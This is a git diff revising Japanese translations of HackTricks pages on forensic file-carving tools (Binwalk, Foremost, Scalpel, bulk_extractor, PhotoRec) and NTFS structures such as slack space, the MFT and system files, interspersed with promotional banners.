もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。Foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
|
@ -49,7 +49,7 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプに応じて、設定ファイル (_/etc/scalpel/scalpel.conf_) からコメントアウトを解除する必要があります。
|
||||
**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル（_/etc/scalpel/scalpel.conf_）からコメントアウトする必要があります。
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
|
|
@ -58,66 +58,64 @@ scalpel file.img -o output
|
|||
|
||||
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
このツールはイメージをスキャンし、内部の**pcapsを抽出**し、**ネットワーク情報（URL、ドメイン、IP、MAC、メール）**などの**ファイル**を抽出します。次の操作をするだけです:
|
||||
このツールは画像をスキャンし、その中に含まれる**pcapsを抽出**し、**ネットワーク情報（URL、ドメイン、IP、MAC、メール）**や他の**ファイル**を抽出することができます。行う必要があるのは以下の通りです:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
ツールが収集した**すべての情報**をナビゲートし（パスワード？）、**パケット**を**分析**します（[**Pcaps分析**](../pcap-inspection/)を読む）、**奇妙なドメイン**を探します（**マルウェア**に関連するドメインや**存在しない**ドメイン）。
|
||||
|
||||
## PhotoRec
|
||||
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)で見つけることができます。
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で見つけることができます。
|
||||
|
||||
GUIとCLIのバージョンがあります。PhotoRecに検索してほしい**ファイルタイプ**を選択できます。
|
||||
GUI と CLI バージョンが付属しています。PhotoRec が検索する**ファイルタイプ**を選択できます。
|
||||
|
||||
.png>)
|
||||
|
||||
## binvis
|
||||
|
||||
[コード](https://code.google.com/archive/p/binvis/)と[ウェブページツール](https://binvis.io/#/)をチェックしてください。
|
||||
[コード](https://code.google.com/archive/p/binvis/) と [web ページツール](https://binvis.io/#/)
|
||||
|
||||
### BinVisの特徴
|
||||
### BinVis の特徴
|
||||
|
||||
* 視覚的でアクティブな**構造ビューア**
|
||||
* 異なる焦点に対する複数のプロット
|
||||
* サンプルの一部に焦点を当てる
|
||||
* PEやELF実行ファイルなどでの**文字列やリソースの表示**
|
||||
* ファイルに対する暗号解析のための**パターン**の取得
|
||||
* パッカーやエンコーダーアルゴリズムの**特定**
|
||||
* パターンによるステガノグラフィーの**識別**
|
||||
* **視覚的**なバイナリ差分
|
||||
- ビジュアルでアクティブな**構造ビューア**
|
||||
- 異なる焦点点のための複数のプロット
|
||||
- サンプルの一部に焦点を当てる
|
||||
- PE や ELF 実行可能ファイル内の**文字列やリソース**を見る
|
||||
- ファイルの暗号解析のための**パターン**を取得
|
||||
- パッカーやエンコーダーアルゴリズムを**見つける**
|
||||
- パターンによるステガノグラフィの**識別**
|
||||
- **ビジュアル**バイナリ差分
|
||||
|
||||
BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**出発点**です。
|
||||
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。
|
||||
|
||||
# 特定のデータカービングツール
|
||||
|
||||
## FindAES
|
||||
|
||||
AESキーをそのキースケジュールを検索することで探します。TrueCryptやBitLockerで使用される128、192、256ビットキーを見つけることができます。
|
||||
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。
|
||||
|
||||
[こちら](https://sourceforge.net/projects/findaes/)からダウンロードしてください。
|
||||
[こちらからダウンロード](https://sourceforge.net/projects/findaes/)
|
||||
|
||||
# 補完ツール
|
||||
# 付随するツール
|
||||
|
||||
ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。
|
||||
Linuxコマンドラインツール**pdftotext**を使用して、PDFをテキストに変換し、読むことができます。
|
||||
ターミナルから画像を表示するために [**viu** ](https://github.com/atanunq/viu)を使用できます。\
|
||||
PDF をテキストに変換して読むために、Linux コマンドラインツール **pdftotext** を使用できます。
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
最も重要な脆弱性を見つけて、より早く修正できるようにします。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、テックスタック全体にわたる問題を見つけます。今日[**無料でお試し**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)ください。
|
||||
最も重要な脆弱性を見つけて修正を迅速化します。Intruder は攻撃面を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今日。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksに広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
|
||||
* **HackTricks が広告されているのを見たい**または**HackTricks を PDF でダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) の GitHub リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,29 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)をフォローする
|
||||
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Carvingツール
|
||||
# Carving tools
|
||||
|
||||
## Autopsy
|
||||
|
||||
フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、"隠された"ファイルを見つけるためにファイルを取り込んでください。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。
|
||||
ファイルを抽出するためにフォレンジックで最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけるようにします。Autopsy はディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していません。
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk**は、埋め込まれたファイルやデータを検索するためのバイナリファイル（画像やオーディオファイルなど）用のツールです。
|
||||
`apt`でインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk)はGitHubで見つけることができます。
|
||||
**役立つコマンド**:
|
||||
**Binwalk** は画像や音声ファイルなどのバイナリファイルを検索して埋め込まれたファイルやデータを見つけるためのツールです。
|
||||
`apt` を使用してインストールできますが、[ソース](https://github.com/ReFirmLabs/binwalk)はgithubで見つけることができます。
|
||||
**便利なコマンド**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
|
@ -32,7 +32,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
## Foremost
|
||||
|
||||
隠されたファイルを見つけるための一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルだけを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremostはデフォルトで設定されているファイルタイプを検索します。
|
||||
もう1つの一般的な隠しファイルを見つけるためのツールは**foremost**です。 foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントアウトしない場合、foremostはデフォルトで構成されたファイルタイプを検索します。
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
|
@ -40,7 +40,7 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプに応じて、設定ファイル（_/etc/scalpel/scalpel.conf_）からコメントを外す必要があります。
|
||||
**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル（_/etc/scalpel/scalpel.conf_）からコメントアウトする必要があります。
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
|
|
@ -49,17 +49,17 @@ scalpel file.img -o output
|
|||
|
||||
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
このツールはイメージをスキャンし、内部の**pcapsを抽出**し、**ネットワーク情報\(URL、ドメイン、IP、MAC、メール\)** などの**ファイル**を抽出します。次の操作をするだけです:
|
||||
このツールは画像をスキャンし、その中から**pcapsを抽出**し、**ネットワーク情報（URL、ドメイン、IP、MAC、メール）**や他の**ファイル**を抽出することができます。行う必要があるのは以下の通りです:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
ツールが収集した**すべての情報**をナビゲートし（パスワード？）、**パケット**を**分析**します（[**Pcaps分析**](../pcap-inspection/)を読む）、**奇妙なドメイン**を探します（**マルウェア**に関連するドメインや**存在しない**ドメイン）。
|
||||
**すべての情報**をツールが収集したものをナビゲートし（パスワード？）、**パケット**を**分析**し（[**Pcaps分析**](../pcap-inspection/)を参照）、**異常なドメイン**（**マルウェア**や**存在しない**ドメインに関連するドメイン）を検索します。
|
||||
|
||||
## PhotoRec
|
||||
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)で見つけることができます。
|
||||
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) で見つけることができます。
|
||||
|
||||
GUIとCLIバージョンがあります。PhotoRecに検索させたい**ファイルタイプ**を選択できます。
|
||||
GUIバージョンとCLIバージョンが付属しています。PhotoRecが検索する**ファイルタイプ**を選択できます。
|
||||
|
||||
|
||||
|
||||
|
|
@ -67,27 +67,11 @@ GUIとCLIバージョンがあります。PhotoRecに検索させたい**ファ
|
|||
|
||||
## FindAES
|
||||
|
||||
AESキーをそのキースケジュールを検索することで探します。TrueCryptやBitLockerなどに使用される128、192、256ビットキーを見つけることができます。
|
||||
キースケジュールを検索してAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーなどを見つけることができます。
|
||||
|
||||
[こちら](https://sourceforge.net/projects/findaes/)からダウンロードしてください。
|
||||
[こちら](https://sourceforge.net/projects/findaes/)からダウンロードできます。
|
||||
|
||||
# 補助ツール
|
||||
# 補足ツール
|
||||
|
||||
[**viu**](https://github.com/atanunq/viu)を使用して、ターミナルから画像を表示することができます。
|
||||
Linuxコマンドラインツールの**pdftotext**を使用して、PDFをテキストに変換し、読むことができます。
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksに広告を掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください。**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。
|
||||
|
||||
</details>
|
||||
[**viu** ](https://github.com/atanunq/viu)を使用してターミナルから画像を表示できます。
|
||||
Linuxコマンドラインツール**pdftotext**を使用して、pdfをテキストに変換して読むことができます。
|
||||
|
|
|
|||
|
|
@ -4,117 +4,119 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **ハッキングのコツを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) githubリポジトリにPRを提出する。
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを入手
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**する。
|
||||
- **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
## **NTFS**
|
||||
|
||||
**NTFS**（**New Technology File System**）は、Microsoftによって開発された独自のジャーナリングファイルシステムです。
|
||||
**NTFS**（**New Technology File System**）は、Microsoftによって開発されたプロプライエタリなジャーナリングファイルシステムです。
|
||||
|
||||
クラスタはNTFSの最小サイズ単位であり、クラスタのサイズはパーティションのサイズに依存します。
|
||||
クラスタはNTFSにおける最小のサイズ単位であり、クラスタのサイズはパーティションのサイズに依存します。
|
||||
|
||||
| パーティションサイズ | クラスタあたりのセクター | クラスタサイズ |
|
||||
| パーティションサイズ | クラスタあたりのセクタ数 | クラスタサイズ |
|
||||
| ------------------------ | ------------------- | ------------ |
|
||||
| 512MB以下 | 1 | 512バイト |
|
||||
| 513MB-1024MB (1GB) | 2 | 1KB |
|
||||
| 1025MB-2048MB (2GB) | 4 | 2KB |
|
||||
| 2049MB-4096MB (4GB) | 8 | 4KB |
|
||||
| 4097MB-8192MB (8GB) | 16 | 8KB |
|
||||
| 8193MB-16,384MB (16GB) | 32 | 16KB |
|
||||
| 16,385MB-32,768MB (32GB) | 64 | 32KB |
|
||||
| 32,768MB超 | 128 | 64KB |
|
||||
| 512MB以下 | 1 | 512バイト |
|
||||
| 513MB-1024MB（1GB） | 2 | 1KB |
|
||||
| 1025MB-2048MB（2GB） | 4 | 2KB |
|
||||
| 2049MB-4096MB（4GB） | 8 | 4KB |
|
||||
| 4097MB-8192MB（8GB） | 16 | 8KB |
|
||||
| 8193MB-16,384MB（16GB） | 32 | 16KB |
|
||||
| 16,385MB-32,768MB（32GB） | 64 | 32KB |
|
||||
| 32,768MBより大きい | 128 | 64KB |
|
||||
|
||||
### **スラックスペース**
|
||||
|
||||
NTFSの最小サイズ単位は**クラスタ**です。各ファイルは複数の完全なクラスタを占有します。そのため、**各ファイルが必要以上のスペースを占有する可能性が高い**です。これらの**未使用の** **スペース**はファイルによって**予約されている**もので、**スラッキング** **スペース**と呼ばれ、人々はこの領域を利用して**情報を隠す**ことができます。
|
||||
NTFSにおける最小のサイズ単位は**クラスタ**です。各ファイルは複数の完全なクラスタを占有します。そのため、**各ファイルが必要以上のスペースを占有する可能性が非常に高い**です。ファイルが予約した**未使用のスペース**は、**スラックスペース**と呼ばれ、人々はこの領域を利用して**情報を隠す**ことができます。
|
||||
|
||||
.png>)
|
||||
|
||||
### **NTFSブートセクタ**
|
||||
|
||||
NTFSボリュームをフォーマットすると、フォーマットプログラムはブートメタデータファイル用に最初の16セクタを割り当てます。最初のセクタは"bootstrap"コードを含むブートセクタで、次の15セクタはブートセクタのIPL（Initial Program Loader）です。ファイルシステムの信頼性を高めるために、NTFSパーティションの最後のセクタにはブートセクタのスペアコピーが含まれています。
|
||||
NTFSボリュームをフォーマットすると、フォーマットプログラムは最初の16セクタをブートメタデータファイルに割り当てます。最初のセクタはブートセクタであり、「ブートストラップ」コードが含まれ、続く15セクタはブートセクタのIPL（Initial Program Loader）です。ファイルシステムの信頼性を高めるために、NTFSパーティションの最後のセクタにはブートセクタの予備コピーが含まれています。
|
||||
|
||||
### **マスターファイルテーブル（MFT）**
|
||||
|
||||
NTFSファイルシステムにはマスターファイルテーブル（MFT）と呼ばれるファイルが含まれています。NTFSファイルシステムボリューム上のすべてのファイルには、MFT自体を含め、少なくとも**MFTに1つのエントリがあります**。ファイルに関するすべての情報、**サイズ、タイムスタンプ、権限、データ内容**などは、MFTエントリ内またはMFTエントリによって記述されたMFT外のスペース内に格納されます。
|
||||
NTFSファイルシステムには、マスターファイルテーブル（MFT）と呼ばれるファイルが含まれています。NTFSファイルシステムボリューム上のすべてのファイルに対して、MFTに少なくとも**1つのエントリがあります**。MFT自体を含む、ファイルの**サイズ、時刻、日付スタンプ、権限、データ内容**などのすべての情報は、MFTエントリまたはMFTエントリで説明されているMFTの外側のスペースに格納されます。
|
||||
|
||||
NTFSファイルシステムボリュームに**ファイルが追加される**と、MFTに新しいエントリが追加され、**MFTのサイズが増加します**。NTFSファイルシステムボリュームから**ファイルが削除される**と、それらの**MFTエントリは空きとしてマークされ**、再利用される可能性があります。しかし、これらのエントリに割り当てられたディスクスペースは再割り当てされず、MFTのサイズは減少しません。
|
||||
NTFSファイルシステムボリュームにファイルが追加されると、MFTにエントリが追加され、MFTのサイズが増加します。NTFSファイルシステムボリュームからファイルが削除されると、そのMFTエントリは**空きとしてマークされ**、再利用される可能性があります。ただし、これらのエントリに割り当てられたディスクスペースは再割り当てされず、MFTのサイズは減少しません。
|
||||
|
||||
NTFSファイルシステムは、成長するにつれてMFTをできるだけ連続した状態に保つために、MFT用のスペースを**予約します**。各ボリュームのNTFSファイルシステムによって予約されたMFTのスペースは、**MFTゾーン**と呼ばれます。ファイルやディレクトリのスペースもこのスペースから割り当てられますが、MFTゾーン外のボリュームスペースがすべて割り当てられた後にのみ割り当てられます。
|
||||
NTFSファイルシステムは、MFTを可能な限り連続した状態に保つためにMFTのためのスペースを予約します。各ボリュームでNTFSファイルシステムによってMFTのために予約されたスペースは**MFTゾーン**と呼ばれます。ファイルとディレクトリのスペースもこのスペースから割り当てられますが、MFTゾーンの外側のボリュームスペースがすべて割り当てられた後にのみ割り当てられます。
|
||||
|
||||
平均ファイルサイズやその他の変数に応じて、**予約されたMFTゾーンまたは予約されていないディスク上のスペースが、ディスクが満杯になるにつれて最初に割り当てられる**ことがあります。比較的大きなファイルが少ないボリュームは、最初に予約されていないスペースを割り当てますが、比較的小さなファイルが多いボリュームは、最初にMFTゾーンを割り当てます。いずれの場合も、一方または他方の領域が完全に割り当てられると、MFTの断片化が始まります。予約されていないスペースが完全に割り当てられた場合、ユーザーファイルとディレクトリのスペースはMFTゾーンから割り当てられます。MFTゾーンが完全に割り当てられた場合、新しいMFTエントリのスペースは予約されていないスペースから割り当てられます。
|
||||
平均ファイルサイズやその他の変数に応じて、**ディスクが容量いっぱいになると、予約されたMFTゾーンまたはディスクの未予約スペースのどちらかが最初に割り当てられます**。比較的大きなファイル数を持つボリュームは、未予約スペースを最初に割り当てますが、比較的小さなファイル数を持つボリュームは、MFTゾーンを最初に割り当てます。いずれの場合も、MFTの断片化が発生し始めます。未予約スペースが完全に割り当てられると、ユーザーファイルとディレクトリのスペースがMFTゾーンから割り当てられます。MFTゾーンが完全に割り当てられると、新しいMFTエントリのスペースが未予約スペースから割り当てられます。
|
||||
|
||||
NTFSファイルシステムはまた、**$MFTMirror**を生成します。これはMFTの**最初の4エントリ**の**コピー**です：$MFT、$MFT Mirror、$Log、$Volume。
|
||||
NTFSファイルシステムは、**$MFTMirror**も生成します。これはMFTの最初の4つのエントリの**コピー**です：$MFT、$MFT Mirror、$Log、$Volume。
|
||||
|
||||
NTFSはテーブルの最初の16レコードを特別な情報用に予約しています：
|
||||
NTFSは、テーブルの最初の16レコードを特別な情報のために予約します：
|
||||
|
||||
| システムファイル | ファイル名 | MFTレコード | ファイルの目的 |
|
||||
| システムファイル | ファイル名 | MFTレコード | ファイルの目的 |
|
||||
| --------------------- | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| マスターファイルテーブル | $Mft | 0 | NTFSボリューム上の各ファイルとフォルダに対して1つの基本ファイルレコードが含まれています。ファイルまたはフォルダの割り当て情報が単一のレコードに収まらない場合、他のファイルレコードが割り当てられます。 |
|
||||
| マスターファイルテーブル2 | $MftMirr | 1 | MFTの最初の4レコードの複製イメージです。このファイルは単一セクターの障害が発生した場合にMFTへのアクセスを保証します。 |
|
||||
| ログファイル | $LogFile | 2 | NTFSの回復性のために使用されるトランザクションステップのリストが含まれています。ログファイルのサイズはボリュームサイズに依存し、最大4MBになることがあります。Windows NT/2000ではシステム障害後にNTFSの整合性を復元するために使用されます。 |
|
||||
| ボリューム | $Volume | 3 | ボリュームラベルやボリュームバージョンなど、ボリュームに関する情報が含まれています。 |
|
||||
| 属性定義 | $AttrDef | 4 | 属性名、番号、および説明のテーブル。 |
|
||||
| マスターファイルテーブル | $Mft | 0 | NTFSボリューム上のすべてのファイルとフォルダに1つの基本ファイルレコードが含まれています。ファイルまたはフォルダの割り当て情報が1つのレコードに収まりきらない場合、他のファイルレコードも割り当てられます。 |
|
||||
| マスターファイルテーブル2 | $MftMirr | 1 | MFTの最初の4つのレコードの重複画像。このファイルは、1つのセクタの障害が発生した場合にMFTへのアクセスを保証します。 |
|
||||
| ログファイル | $LogFile | 2 | NTFSの回復可能性に使用されるトランザクション手順のリストが含まれています。ログファイルのサイズはボリュームサイズに依存し、最大で4MBになります。Windows NT/2000は、システム障害後にNTFSの整合性を回復するために使用します。 |
|
||||
| ボリューム | $Volume | 3 | ボリュームに関する情報、ボリュームラベル、ボリュームバージョンなどが含まれています。 |
|
||||
| 属性定義 | $AttrDef | 4 | 属性名、番号、説明のテーブル。 |
|
||||
| ルートファイル名インデックス | $ | 5 | ルートフォルダ。 |
|
||||
| クラスタビットマップ | $Bitmap | 6 | 使用中のクラスタを示すボリュームの表現。 |
|
||||
| ブートセクタ | $Boot | 7 | ボリュームをマウントするために使用されるBPBと、ボリュームがブータブルである場合に使用される追加のブートストラップローダーコードが含まれています。 |
|
||||
| バッドクラスタファイル | $BadClus | 8 | ボリュームのバッドクラスタが含まれています。 |
|
||||
| セキュリティファイル | $Secure | 9 | ボリューム内のすべてのファイルに対するユニークなセキュリティ記述子が含まれています。 |
|
||||
| アップケーステーブル | $Upcase | 10 | 小文字を対応するUnicode大文字に変換します。 |
|
||||
| NTFS拡張ファイル | $Extend | 11 | クォータ、リパースポイントデータ、オブジェクト識別子など、さまざまなオプショナル拡張に使用されます。 |
|
||||
| ブートセクタ | $Boot | 7 | ボリュームをマウントするために使用されるBPBと、ボリュームがブート可能な場合に使用される追加のブートストラップローダーコードが含まれています。 |
|
||||
| バッドクラスタファイル | $BadClus | 8 | ボリュームの悪いクラスタが含まれています。 |
|
||||
| セキュリティファイル | $Secure | 9 | ボリューム内のすべてのファイルに固有のセキュリティ記述子が含まれています。 |
|
||||
| 大文字変換テーブル | $Upcase | 10 | 小文字の文字を一致するUnicode大文字に変換します。 |
|
||||
| NTFS拡張ファイル | $Extend | 11 | クォータ、再解釈ポイントデータ、オブジェクト識別子などのさまざまなオプションの拡張機能に使用されます。 |
|
||||
| | | 12-15 | 将来の使用のために予約されています。 |
|
||||
| クォータ管理ファイル | $Quota | 24 | ボリュームスペースに対するユーザー割り当てクォータ制限が含まれています。 |
|
||||
